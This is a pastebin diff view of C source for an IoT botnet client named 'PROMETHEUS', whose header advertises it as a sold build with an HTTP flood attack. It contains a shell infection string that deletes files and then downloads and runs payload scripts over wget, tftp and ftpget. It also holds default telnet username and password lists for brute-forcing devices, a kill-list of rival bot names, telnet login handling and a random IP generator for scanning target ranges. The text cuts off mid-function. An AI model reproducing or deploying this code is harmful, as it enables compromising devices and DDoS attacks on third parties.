View difference between Paste ID: yie52XZu and 43MJDfbZ
SHOW: | | - or go back to the newest paste.
1
/*
2
                  This is the official build of PROMETHEUS
3
                                     ___________
4
                                    //DONT LEAK\\
5
                                    \\THIS REPS//
6
                                     \\_______//
7
            	  Yeah thats right this shit reps you gone be a big
8
                               Goat Greper like cheats
9
                  Just a lil credz to all the peeps that made this possible
10
                                        B1NARY
11
                                        ZONEHAX
12
                                        CHEATS
13
                                  Thanks to them this
14
                                  bot is as dank as it 
15
                                  is XD this is the main
16
                                  build if you have this
17
                                  means you're an OG.
18
                                          
19
                                V4 OFFICIAL FINAL BUILD
20
			                 Contains Multi-Threaded HTTP ATTACK
21
			                NO ONE HAS THIS IM THE ONLY SELLER -_-
22
							Thanks for buying enjoy big boat reps 
23
*/
24
#define PHI 0x9e3779b9
25
#define PR_SET_NAME 15
26
#define SERVER_LIST_SIZE (sizeof(PromServer) / sizeof(unsigned char *))
27
#define PAD_RIGHT 1
28
#define PAD_ZERO 2
29
#define PRINT_BUF_LEN 12
30
#define CMD_IAC 255
31
#define CMD_WILL 251
32
#define CMD_WONT 252
33
#define CMD_DO 253
34
#define CMD_DONT 254
35
#define OPT_SGA 3
36
#define STD2_SIZE 65
37
#define BUFFER_SIZE 1024
38
#include <stdlib.h>
39
#include <stdarg.h>
40
#include <stdio.h>
41
#include <sys/socket.h>
42
#include <sys/types.h>
43
#include <netinet/in.h>
44
#include <arpa/inet.h>
45
#include <netdb.h>
46
#include <signal.h>
47
#include <strings.h>
48
#include <string.h>
49
#include <sys/utsname.h>
50
#include <unistd.h>
51
#include <fcntl.h>
52
#include <errno.h>
53
#include <netinet/ip.h>
54
#include <netinet/udp.h>
55
#include <netinet/tcp.h>
56
#include <sys/wait.h>
57
#include <sys/ioctl.h>
58
#include <net/if.h>
59
60
61
const char *knownBots[] = {
62
"mips",
63
"mipsel",
64
"sh4",
65
"x86",
66
"i686",
67
"ppc",
68
"i586",
69
"i586",
70
"jackmy*",
71
"hackmy*",
72
"arm*",
73
"b1",
74
"b2",
75
"b3",
76
"b4",
77
"b5",
78
"b6",
79
"b7",
80
"b8",
81
"b9",
82
"busyboxterrorist",
83
"DFhxdhdf",
84
"dvrHelper",
85
"FDFDHFC",
86
"FEUB",
87
"FTUdftui",
88
"GHfjfgvj",
89
"jhUOH",
90
"JIPJIPJj",
91
"JIPJuipjh",
92
"kmyx86_64",
93
"lolmipsel",
94
"mips",
95
"mipsel",
96
"RYrydry",
97
"tel*",
98
"TwoFace*",
99
"UYyuyioy",
100
"wget",
101
"x86_64",
102
"XDzdfxzf",
103
"xxb*",
104
"sh",
105
"1",
106
"2",
107
"3",
108
"4",
109
"5",
110
"6",
111
"7",
112
"8",
113
"9",
114
"10",
115
"11",
116
"12",
117
"13",
118
"14",
119
"15",
120
"16",
121
"17",
122
"18",
123
"19",
124
"20",
125
"hackz",
126
"bin*",
127
"gtop",
128
"ftp*",
129
"tftp*",
130
"botnet",
131
"swatnet",
132
"ballpit",
133
"fucknet",
134
"cracknet",
135
"weednet",
136
"gaynet",
137
"queernet",
138
"ballnet",
139
"unet",
140
"yougay",
141
"sttftp",
142
"sstftp",
143
"sbtftp",
144
"btftp",
145
"y0u1sg3y",
146
"bruv*",
147
"IoT*",
148
};
149
150
// ip for all of the files
151
//Port needs to be changed down below so yeah 
152
unsigned char *PromServer[] =
153
{
154
"0.0.0.0"
155
};
156
157
int initConnection();
158
int getBogos(unsigned char *bogomips);
159
int getCores();
160
int getCountry(unsigned char *buf, int bufsize);
161
void makeRandomStr(unsigned char *buf, int length);
162
int sockprintf(int sock, char *formatStr, ...);
163
char *inet_ntoa(struct in_addr in);
164
165
int mainCommSock = 0, currentServer = -1, gotIP = 0;
166
uint32_t *pids;
167
uint32_t scanPid;
168
uint64_t numpids = 0;
169
struct in_addr ourIP;
170
struct in_addr ourPublicIP;
171
unsigned char macAddress[6] = {0};
172
173
char *infect = "cd /tmp || cd /var/system || cd /mnt || cd /lib;rm -f /tmp/* || /var/run/* || /var/system/* || /mnt/* || /lib/*;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n";
174
char *usernames[] = {"root\0", "root\0", "telnet",};//Dont Fuck With These
175
char *passwords[] = {"root\0", "\0", "telnet",};//These either
176
char *tmpdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", "/opt/", (char*)0};
177
char *advances[] = {":", "ogin", "sername", "assword", (char*)0};
178
char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
179
char *successes[] = {"busybox", "$", "#", (char*)0};
180
char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
181
int Nranges [] = {110,111,112,113,114,115,116,117,118,119,223,1,103,203,202,122};//My original idea
182
183
184
static uint32_t Q[4096], c = 362436;
185
186
void init_rand(uint32_t x)
187
{
188
int i;
189
190
Q[0] = x;
191
Q[1] = x + PHI;
192
Q[2] = x + PHI + PHI;
193
194
for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
195
}
196
197
uint32_t rand_cmwc(void)
198
{
199
uint64_t t, a = 18782LL;
200
static uint32_t i = 4095;
201
uint32_t x, r = 0xfffffffe;
202
i = (i + 1) & 4095;
203
t = a * Q[i] + c;
204
c = (uint32_t)(t >> 32);
205
x = t + c;
206
if (x < c) {
207
x++;
208
c++;
209
}
210
return (Q[i] = r - x);
211
}
212
213
void trim(char *str)
214
{
215
int i;
216
int begin = 0;
217
int end = strlen(str) - 1;
218
219
while (isspace(str[begin])) begin++;
220
221
while ((end >= begin) && isspace(str[end])) end--;
222
for (i = begin; i <= end; i++) str[i - begin] = str[i];
223
224
str[i - begin] = '\0';
225
}
226
227
static void printchar(unsigned char **str, int c)
228
{
229
if (str) {
230
**str = c;
231
++(*str);
232
}
233
else (void)write(1, &c, 1);
234
}
235
236
static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
237
{
238
register int pc = 0, padchar = ' ';
239
240
if (width > 0) {
241
register int len = 0;
242
register const unsigned char *ptr;
243
for (ptr = string; *ptr; ++ptr) ++len;
244
if (len >= width) width = 0;
245
else width -= len;
246
if (pad & PAD_ZERO) padchar = '0';
247
}
248
if (!(pad & PAD_RIGHT)) {
249
for ( ; width > 0; --width) {
250
printchar (out, padchar);
251
++pc;
252
}
253
}
254
for ( ; *string ; ++string) {
255
printchar (out, *string);
256
++pc;
257
}
258
for ( ; width > 0; --width) {
259
printchar (out, padchar);
260
++pc;
261
}
262
263
return pc;
264
}
265
266
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
267
{
268
unsigned char print_buf[PRINT_BUF_LEN];
269
register unsigned char *s;
270
register int t, neg = 0, pc = 0;
271
register unsigned int u = i;
272
273
if (i == 0) {
274
print_buf[0] = '0';
275
print_buf[1] = '\0';
276
return prints (out, print_buf, width, pad);
277
}
278
279
if (sg && b == 10 && i < 0) {
280
neg = 1;
281
u = -i;
282
}
283
284
s = print_buf + PRINT_BUF_LEN-1;
285
*s = '\0';
286
287
while (u) {
288
t = u % b;
289
if( t >= 10 )
290
t += letbase - '0' - 10;
291
*--s = t + '0';
292
u /= b;
293
}
294
295
if (neg) {
296
if( width && (pad & PAD_ZERO) ) {
297
printchar (out, '-');
298
++pc;
299
--width;
300
}
301
else {
302
*--s = '-';
303
}
304
}
305
306
return pc + prints (out, s, width, pad);
307
}
308
309
static int print(unsigned char **out, const unsigned char *format, va_list args )
310
{
311
register int width, pad;
312
register int pc = 0;
313
unsigned char scr[2];
314
315
for (; *format != 0; ++format) {
316
if (*format == '%') {
317
++format;
318
width = pad = 0;
319
if (*format == '\0') break;
320
if (*format == '%') goto out;
321
if (*format == '-') {
322
++format;
323
pad = PAD_RIGHT;
324
}
325
while (*format == '0') {
326
++format;
327
pad |= PAD_ZERO;
328
}
329
for ( ; *format >= '0' && *format <= '9'; ++format) {
330
width *= 10;
331
width += *format - '0';
332
}
333
if( *format == 's' ) {
334
register char *s = (char *)va_arg( args, int );
335
pc += prints (out, s?s:"(null)", width, pad);
336
continue;
337
}
338
if( *format == 'd' ) {
339
pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
340
continue;
341
}
342
if( *format == 'x' ) {
343
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
344
continue;
345
}
346
if( *format == 'X' ) {
347
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
348
continue;
349
}
350
if( *format == 'u' ) {
351
pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
352
continue;
353
}
354
if( *format == 'c' ) {
355
scr[0] = (unsigned char)va_arg( args, int );
356
scr[1] = '\0';
357
pc += prints (out, scr, width, pad);
358
continue;
359
}
360
}
361
else {
362
out:
363
printchar (out, *format);
364
++pc;
365
}
366
}
367
if (out) **out = '\0';
368
va_end( args );
369
return pc;
370
}
371
372
int zprintf(const unsigned char *format, ...)
373
{
374
va_list args;
375
va_start( args, format );
376
return print( 0, format, args );
377
}
378
379
int szprintf(unsigned char *out, const unsigned char *format, ...)
380
{
381
va_list args;
382
va_start( args, format );
383
return print( &out, format, args );
384
}
385
386
387
int sockprintf(int sock, char *formatStr, ...)
388
{
389
unsigned char *textBuffer = malloc(2048);
390
memset(textBuffer, 0, 2048);
391
char *orig = textBuffer;
392
va_list args;
393
va_start(args, formatStr);
394
print(&textBuffer, formatStr, args);
395
va_end(args);
396
orig[strlen(orig)] = '\n';
397
int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
398
free(orig);
399
return q;
400
}
401
402
static int *fdopen_pids;
403
404
int fdpopen(unsigned char *program, register unsigned char *type)
405
{
406
register int iop;
407
int pdes[2], fds, pid;
408
409
if (*type != 'r' && *type != 'w' || type[1]) return -1;
410
411
if (pipe(pdes) < 0) return -1;
412
if (fdopen_pids == NULL) {
413
if ((fds = getdtablesize()) <= 0) return -1;
414
if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
415
memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
416
}
417
418
switch (pid = vfork())
419
{
420
case -1:
421
close(pdes[0]);
422
close(pdes[1]);
423
return -1;
424
case 0:
425
if (*type == 'r') {
426
if (pdes[1] != 1) {
427
dup2(pdes[1], 1);
428
close(pdes[1]);
429
}
430
close(pdes[0]);
431
} else {
432
if (pdes[0] != 0) {
433
(void) dup2(pdes[0], 0);
434
(void) close(pdes[0]);
435
}
436
(void) close(pdes[1]);
437
}
438
execl("/bin/sh", "sh", "-c", program, NULL);
439
_exit(127);
440
}
441
if (*type == 'r') {
442
iop = pdes[0];
443
(void) close(pdes[1]);
444
} else {
445
iop = pdes[1];
446
(void) close(pdes[0]);
447
}
448
fdopen_pids[iop] = pid;
449
return (iop);
450
}
451
452
int fdpclose(int iop)
453
{
454
register int fdes;
455
sigset_t omask, nmask;
456
int pstat;
457
register int pid;
458
459
if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
460
(void) close(iop);
461
sigemptyset(&nmask);
462
sigaddset(&nmask, SIGINT);
463
sigaddset(&nmask, SIGQUIT);
464
sigaddset(&nmask, SIGHUP);
465
(void) sigprocmask(SIG_BLOCK, &nmask, &omask);
466
do {
467
pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
468
} while (pid == -1 && errno == EINTR);
469
(void) sigprocmask(SIG_SETMASK, &omask, NULL);
470
fdopen_pids[fdes] = 0;
471
return (pid == -1 ? -1 : WEXITSTATUS(pstat));
472
}
473
474
unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
475
{
476
int got = 1, total = 0;
477
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
478
return got == 0 ? NULL : buffer;
479
}
480
481
static const long hextable[] = {
482
[0 ... 255] = -1,
483
['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
484
['A'] = 10, 11, 12, 13, 14, 15,
485
['a'] = 10, 11, 12, 13, 14, 15
486
};
487
488
long parseHex(unsigned char *hex)
489
{
490
long ret = 0;
491
while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
492
return ret;
493
}
494
495
int wildString(const unsigned char* pattern, const unsigned char* string) {
496
switch(*pattern)
497
{
498
case '\0': return *string;
499
case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
500
case '?': return !(*string && !wildString(pattern+1, string+1));
501
default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
502
}
503
}
504
505
int getHost(unsigned char *toGet, struct in_addr *i)
506
{
507
struct hostent *h;
508
if((i->s_addr = inet_addr(toGet)) == -1) return 1;
509
return 0;
510
}
511
512
void uppercase(unsigned char *str)
513
{
514
while(*str) { *str = toupper(*str); str++; }
515
}
516
517
int getBogos(unsigned char *bogomips)
518
{
519
int cmdline = open("/proc/cpuinfo", O_RDONLY);
520
char linebuf[4096];
521
while(fdgets(linebuf, 4096, cmdline) != NULL)
522
{
523
uppercase(linebuf);
524
if(strstr(linebuf, "BOGOMIPS") == linebuf)
525
{
526
unsigned char *pos = linebuf + 8;
527
while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
528
while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
529
if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
530
strcpy(bogomips, pos);
531
close(cmdline);
532
return 0;
533
}
534
memset(linebuf, 0, 4096);
535
}
536
close(cmdline);
537
return 1;
538
}
539
540
int getCores()
541
{
542
int totalcores = 0;
543
int cmdline = open("/proc/cpuinfo", O_RDONLY);
544
char linebuf[4096];
545
while(fdgets(linebuf, 4096, cmdline) != NULL)
546
{
547
uppercase(linebuf);
548
if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
549
memset(linebuf, 0, 4096);
550
}
551
close(cmdline);
552
return totalcores;
553
554
}
555
556
void makeRandomStr(unsigned char *buf, int length)
557
{
558
int i = 0;
559
for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
560
}
561
562
int recvLine(int socket, unsigned char *buf, int bufsize)
563
{
564
memset(buf, 0, bufsize);
565
566
fd_set myset;
567
struct timeval tv;
568
tv.tv_sec = 30;
569
tv.tv_usec = 0;
570
FD_ZERO(&myset);
571
FD_SET(socket, &myset);
572
int selectRtn, retryCount;
573
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
574
while(retryCount < 10)
575
{
576
sockprintf(mainCommSock, "PING");
577
578
tv.tv_sec = 30;
579
tv.tv_usec = 0;
580
FD_ZERO(&myset);
581
FD_SET(socket, &myset);
582
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
583
retryCount++;
584
continue;
585
}
586
587
break;
588
}
589
}
590
591
unsigned char tmpchr;
592
unsigned char *cp;
593
int count = 0;
594
595
cp = buf;
596
while(bufsize-- > 1)
597
{
598
if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
599
*cp = 0x00;
600
return -1;
601
}
602
*cp++ = tmpchr;
603
if(tmpchr == '\n') break;
604
count++;
605
}
606
*cp = 0x00;
607
608
// zprintf("recv: %s\n", cp);
609
610
return count;
611
}
612
613
struct telstate_t
614
{
615
int fd;
616
unsigned int ip;
617
unsigned char state;
618
unsigned char complete;
619
unsigned char usernameInd;
620
unsigned char passwordInd;
621
unsigned char tempDirInd;
622
unsigned int totalTimeout;
623
unsigned short bufUsed;
624
char *sockbuf;
625
};
626
const char* get_telstate_host(struct telstate_t* telstate)
627
{
628
struct in_addr in_addr_ip;
629
in_addr_ip.s_addr = telstate->ip;
630
return inet_ntoa(in_addr_ip);
631
}
632
633
int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
634
{
635
int num_bytes, i;
636
memset(buffer, 0, buf_size);
637
num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
638
639
if(buffer[0] == 0xFF)
640
{
641
negotiate(fd, buffer, 3);
642
}
643
644
if(contains_string(buffer, strings))
645
{
646
return 1;
647
}
648
649
return 0;
650
}
651
int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
652
{
653
fd_set read_set;
654
struct timeval tv;
655
tv.tv_sec = 0;
656
tv.tv_usec = timeout_usec;
657
658
FD_ZERO(&read_set);
659
FD_SET(fd, &read_set);
660
661
if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
662
return 0;
663
664
return recv(fd, buffer, buf_size, 0);
665
}
666
void advance_state(struct telstate_t* telstate, int new_state)
667
{
668
if(new_state == 0)
669
{
670
close(telstate->fd);
671
}
672
673
telstate->totalTimeout = 0;
674
telstate->state = new_state;
675
memset((telstate->sockbuf), 0, BUFFER_SIZE);
676
}
677
678
void reset_telstate(struct telstate_t* telstate)
679
{
680
advance_state(telstate, 0);
681
telstate->complete = 1;
682
}
683
int contains_success(char* buffer)
684
{
685
return contains_string(buffer, successes);
686
}
687
int contains_fail(char* buffer)
688
{
689
return contains_string(buffer, fails);
690
}
691
int contains_response(char* buffer)
692
{
693
return contains_success(buffer) || contains_fail(buffer);
694
}
695
int contains_string(char* buffer, char** strings)
696
{
697
int num_strings = 0, i = 0;
698
699
for(num_strings = 0; strings[++num_strings] != 0; );
700
701
for(i = 0; i < num_strings; i++)
702
{
703
if(strcasestr(buffer, strings[i]))
704
{
705
return 1;
706
}
707
}
708
709
return 0;
710
}
711
712
int connectTimeout(int fd, char *host, int port, int timeout)
713
{
714
struct sockaddr_in dest_addr;
715
fd_set myset;
716
struct timeval tv;
717
socklen_t lon;
718
719
int valopt;
720
long arg = fcntl(fd, F_GETFL, NULL);
721
arg |= O_NONBLOCK;
722
fcntl(fd, F_SETFL, arg);
723
724
dest_addr.sin_family = AF_INET;
725
dest_addr.sin_port = htons(port);
726
if(getHost(host, &dest_addr.sin_addr)) return 0;
727
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
728
int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
729
730
if (res < 0) {
731
if (errno == EINPROGRESS) {
732
tv.tv_sec = timeout;
733
tv.tv_usec = 0;
734
FD_ZERO(&myset);
735
FD_SET(fd, &myset);
736
if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
737
lon = sizeof(int);
738
getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
739
if (valopt) return 0;
740
}
741
else return 0;
742
}
743
else return 0;
744
}
745
746
arg = fcntl(fd, F_GETFL, NULL);
747
arg &= (~O_NONBLOCK);
748
fcntl(fd, F_SETFL, arg);
749
750
return 1;
751
}
752
753
int listFork()
754
{
755
uint32_t parent, *newpids, i;
756
parent = fork();
757
if (parent <= 0) return parent;
758
numpids++;
759
newpids = (uint32_t*)malloc((numpids + 1) * 4);
760
for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
761
newpids[numpids - 1] = parent;
762
free(pids);
763
pids = newpids;
764
return parent;
765
}
766
767
int negotiate(int sock, unsigned char *buf, int len)
768
{
769
unsigned char c;
770
771
switch (buf[1]) {
772
case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
773
case CMD_WILL:
774
case CMD_WONT:
775
case CMD_DO:
776
case CMD_DONT:
777
c = CMD_IAC;
778
send(sock, &c, 1, MSG_NOSIGNAL);
779
if (CMD_WONT == buf[1]) c = CMD_DONT;
780
else if (CMD_DONT == buf[1]) c = CMD_WONT;
781
else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
782
else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
783
send(sock, &c, 1, MSG_NOSIGNAL);
784
send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
785
break;
786
787
default:
788
break;
789
}
790
791
return 0;
792
}
793
794
int matchPrompt(char *bufStr)
795
{
796
char *prompts = ":>%$#\0";
797
798
int bufLen = strlen(bufStr);
799
int i, q = 0;
800
for(i = 0; i < strlen(prompts); i++)
801
{
802
while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
803
if(*(bufStr + bufLen - q) == prompts[i]) return 1;
804
}
805
806
return 0;
807
}
808
809
int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
810
{
811
int bufferUsed = initialIndex, got = 0, found = 0;
812
fd_set myset;
813
struct timeval tv;
814
tv.tv_sec = timeout;
815
tv.tv_usec = timeoutusec;
816
unsigned char *initialRead = NULL;
817
818
while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
819
{
820
FD_ZERO(&myset);
821
FD_SET(fd, &myset);
822
if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
823
initialRead = buffer + bufferUsed;
824
got = recv(fd, initialRead, 1, 0);
825
if(got == -1 || got == 0) return 0;
826
bufferUsed += got;
827
if(*initialRead == 0xFF)
828
{
829
got = recv(fd, initialRead + 1, 2, 0);
830
if(got == -1 || got == 0) return 0;
831
bufferUsed += got;
832
if(!negotiate(fd, initialRead, 3)) return 0;
833
} else {
834
if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
835
}
836
}
837
838
if(found) return 1;
839
return 0;
840
}
841
842
843
844
static uint8_t ipState[5] = {0};
845
in_addr_t GetRandomPublicIP()//IP GEN credz to cheats :)
846
{
847
ipState[1] = 0;
848
ipState[2] = 0;
849
ipState[3] = 0;
850
ipState[4] = 0;
851
ipState[1] = rand() % 255;
852
ipState[2] = rand() % 255;
853
ipState[3] = rand() % 255;
854
ipState[4] = rand() % 255;
855
int randnum = rand() % 115;
856
char ip[16];
857
if(randnum == 0)
858
{
859
szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
860
}
861
if(randnum == 1)
862
{
863
szprintf(ip, "43.239.%d.%d", ipState[3], ipState[4]);
864
}
865
if(randnum == 2)
866
{
867
szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
868
}
869
if(randnum == 3)
870
{
871
szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
872
}
873
if(randnum == 4)
874
{
875
szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
876
}
877
if(randnum == 5)
878
{
879
szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
880
}
881
if(randnum == 6)
882
{
883
szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
884
}
885
if(randnum == 7)
886
{
887
szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
888
}
889
if(randnum == 8)
890
{
891
szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
892
}
893
if(randnum == 9)
894
{
895
szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
896
}
897
if(randnum == 10)
898
{
899
szprintf(ip, "77.209.%d.%d", ipState[3], ipState[4]);
900
}
901
if(randnum == 11)
902
{
903
szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
904
}
905
if(randnum == 12)
906
{
907
szprintf(ip, "43.239.%d.%d", ipState[3], ipState[4]);
908
}
909
if(randnum == 13)
910
{
911
szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
912
}
913
if(randnum == 14)
914
{
915
szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
916
}
917
if(randnum == 15)
918
{
919
szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
920
}
921
if(randnum == 16)
922
{
923
szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
924
}
925
if(randnum == 17)
926
{
927
szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
928
}
929
if(randnum == 18)
930
{
931
szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
932
}
933
if(randnum == 19)
934
{
935
szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
936
}
937
if(randnum == 20)
938
{
939
szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
940
}
941
if(randnum == 21)
942
{
943
szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
944
}
945
if(randnum == 22)
946
{
947
szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
948
}
949
if(randnum == 23)
950
{
951
szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
952
}
953
if(randnum == 24)
954
{
955
szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
956
}
957
if(randnum == 25)
958
{
959
szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
960
}
961
if(randnum == 26)
962
{
963
szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
964
}
965
if(randnum == 27)
966
{
967
szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
968
}
969
if(randnum == 28)
970
{
971
szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
972
}
973
if(randnum == 29)
974
{
975
szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
976
}
977
if(randnum == 30)
978
{
979
szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
980
}
981
if(randnum == 31)
982
{
983
szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
984
}
985
if(randnum == 32)
986
{
987
szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
988
}
989
if(randnum == 33)
990
{
991
szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
992
}
993
if(randnum == 34)
994
{
995
szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
996
}
997
if(randnum == 35)
998
{
999
szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
1000
}
1001
if(randnum == 36)
1002
{
1003
szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
1004
}
1005
if(randnum == 37)
1006
{
1007
szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
1008
}
1009
if(randnum == 38)
1010
{
1011
szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
1012
}
1013
if(randnum == 39)
1014
{
1015
szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
1016
}
1017
if(randnum == 40)
1018
{
1019
szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
1020
}
1021
if(randnum == 41)
1022
{
1023
szprintf(ip, "60.0.%d.%d", ipState[3], ipState[4]);
1024
}
1025
if(randnum == 42)
1026
{
1027
szprintf(ip, "60.16.%d.%d", ipState[3], ipState[4]);
1028
}
1029
if(randnum == 43)
1030
{
1031
szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
1032
}
1033
if(randnum == 44)
1034
{
1035
szprintf(ip, "62.30.%d.%d", ipState[3], ipState[4]);
1036
}
1037
if(randnum == 45)
1038
{
1039
szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
1040
}
1041
if(randnum == 46)
1042
{
1043
szprintf(ip, "62.254.%d.%d", ipState[3], ipState[4]);
1044
}
1045
if(randnum == 47)
1046
{
1047
szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
1048
}
1049
if(randnum == 48)
1050
{
1051
szprintf(ip, "77.96.%d.%d", ipState[3], ipState[4]);
1052
}
1053
if(randnum == 49)
1054
{
1055
szprintf(ip, "77.97.%d.%d", ipState[3], ipState[4]);
1056
}
1057
if(randnum == 50)
1058
{
1059
szprintf(ip, "77.98.%d.%d", ipState[3], ipState[4]);
1060
}
1061
if(randnum == 51)
1062
{
1063
szprintf(ip, "77.100.%d.%d", ipState[3], ipState[4]);
1064
}
1065
if(randnum == 52)
1066
{
1067
szprintf(ip, "77.102.%d.%d", ipState[3], ipState[4]);
1068
}
1069
if(randnum ==53)
1070
{
1071
szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
1072
}
1073
if(randnum == 54)
1074
{
1075
szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
1076
}
1077
if(randnum == 55)
1078
{
1079
szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
1080
}
1081
if(randnum == 56)
1082
{
1083
szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
1084
}
1085
if(randnum == 57)
1086
{
1087
szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
1088
}
1089
if(randnum == 58)
1090
{
1091
szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
1092
}
1093
if(randnum == 59)
1094
{
1095
szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
1096
}
1097
if(randnum == 60)
1098
{
1099
szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
1100
}
1101
if(randnum == 61)
1102
{
1103
szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
1104
}
1105
if(randnum == 62)
1106
{
1107
szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
1108
}
1109
if(randnum == 63)
1110
{
1111
szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
1112
}
1113
if(randnum == 64)
1114
{
1115
